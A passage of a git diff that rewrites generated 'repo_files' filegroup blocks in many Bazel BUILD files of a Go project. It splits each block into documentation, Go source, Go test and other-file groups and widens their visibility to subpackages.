"**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -67,7 +106,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/query/BUILD.bazel b/internal/query/BUILD.bazel index d8db3bcff..81bcc479d 100644 --- a/internal/query/BUILD.bazel +++ b/internal/query/BUILD.bazel @@ -30,12 +30,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/recipes/BUILD.bazel b/internal/recipes/BUILD.bazel index b94f373c0..b7bc2c92b 100644 --- a/internal/recipes/BUILD.bazel +++ b/internal/recipes/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/remotecache/BUILD.bazel b/internal/remotecache/BUILD.bazel index 69d123c65..5f72b01ea 100644 --- a/internal/remotecache/BUILD.bazel +++ b/internal/remotecache/BUILD.bazel @@ -32,12 +32,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -46,7 +85,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/routing/BUILD.bazel b/internal/routing/BUILD.bazel index 87bee6e4d..4d0da09a2 100644 --- a/internal/routing/BUILD.bazel +++ b/internal/routing/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index e8ed03a5c..86a1ef4f6 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -182,12 +182,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -196,7 +235,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/backendnames/BUILD.bazel b/internal/storage/backendnames/BUILD.bazel index 90aa5c611..cde019f6b 100644 --- a/internal/storage/backendnames/BUILD.bazel +++ b/internal/storage/backendnames/BUILD.bazel @@ -23,12 +23,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/backends/BUILD.bazel b/internal/storage/backends/BUILD.bazel index d5c06c542..6d8a7ce76 100644 --- a/internal/storage/backends/BUILD.bazel +++ b/internal/storage/backends/BUILD.bazel @@ -42,12 +42,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/batchbench/BUILD.bazel b/internal/storage/batchbench/BUILD.bazel index 7b15e3ec5..a689d08c2 100644 --- a/internal/storage/batchbench/BUILD.bazel +++ b/internal/storage/batchbench/BUILD.bazel @@ -31,12 +31,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -45,7 +84,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/batchfixtures/BUILD.bazel b/internal/storage/batchfixtures/BUILD.bazel index a4718d9bf..cfeac392a 100644 --- a/internal/storage/batchfixtures/BUILD.bazel +++ b/internal/storage/batchfixtures/BUILD.bazel @@ -43,12 +43,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -57,7 +96,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/contextinfo/BUILD.bazel b/internal/storage/contextinfo/BUILD.bazel index 00814c404..031802ba0 100644 --- a/internal/storage/contextinfo/BUILD.bazel +++ b/internal/storage/contextinfo/BUILD.bazel @@ -33,12 +33,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/createbatchequiv/BUILD.bazel b/internal/storage/createbatchequiv/BUILD.bazel index 39cb683ac..4d76b4ee5 100644 --- a/internal/storage/createbatchequiv/BUILD.bazel +++ b/internal/storage/createbatchequiv/BUILD.bazel @@ -43,12 +43,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -57,7 +96,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dberrors/BUILD.bazel b/internal/storage/dberrors/BUILD.bazel index 5a5614ffe..4e0b623f7 100644 --- a/internal/storage/dberrors/BUILD.bazel +++ b/internal/storage/dberrors/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/identity/BUILD.bazel b/internal/storage/dbproxy/identity/BUILD.bazel index de7e8243c..6875fd2fe 100644 --- a/internal/storage/dbproxy/identity/BUILD.bazel +++ b/internal/storage/dbproxy/identity/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/pidfile/BUILD.bazel b/internal/storage/dbproxy/pidfile/BUILD.bazel index 47e4de2d1..294d2e682 100644 --- a/internal/storage/dbproxy/pidfile/BUILD.bazel +++ b/internal/storage/dbproxy/pidfile/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/proxy/BUILD.bazel b/internal/storage/dbproxy/proxy/BUILD.bazel index f3691c871..28d21fa02 100644 --- a/internal/storage/dbproxy/proxy/BUILD.bazel +++ b/internal/storage/dbproxy/proxy/BUILD.bazel @@ -112,12 +112,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -126,7 +165,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel index 4236238be..151f3ac5a 100644 --- a/internal/storage/dbproxy/server/BUILD.bazel +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -66,12 +66,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -80,7 +119,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dbproxy/util/BUILD.bazel b/internal/storage/dbproxy/util/BUILD.bazel index e0a65d2f5..1efad1bf3 100644 --- a/internal/storage/dbproxy/util/BUILD.bazel +++ b/internal/storage/dbproxy/util/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/depid/BUILD.bazel b/internal/storage/depid/BUILD.bazel index 6fa6f9f05..1f6bafa88 100644 --- a/internal/storage/depid/BUILD.bazel +++ b/internal/storage/depid/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 987879f40..989f2d8e4 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -596,12 +596,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -610,7 +649,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel index d018dd26b..3dae2c8b2 100644 --- a/internal/storage/doltutil/BUILD.bazel +++ b/internal/storage/doltutil/BUILD.bazel @@ -59,12 +59,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -73,7 +112,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index 4393d650a..691757192 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -93,12 +93,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -107,7 +146,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index 823ed995a..0b7df5abb 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -168,12 +168,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -182,7 +221,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel index 4d6d2e8cb..2ce97fd3f 100644 --- a/internal/storage/domain/fs/BUILD.bazel +++ b/internal/storage/domain/fs/BUILD.bazel @@ -81,12 +81,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + 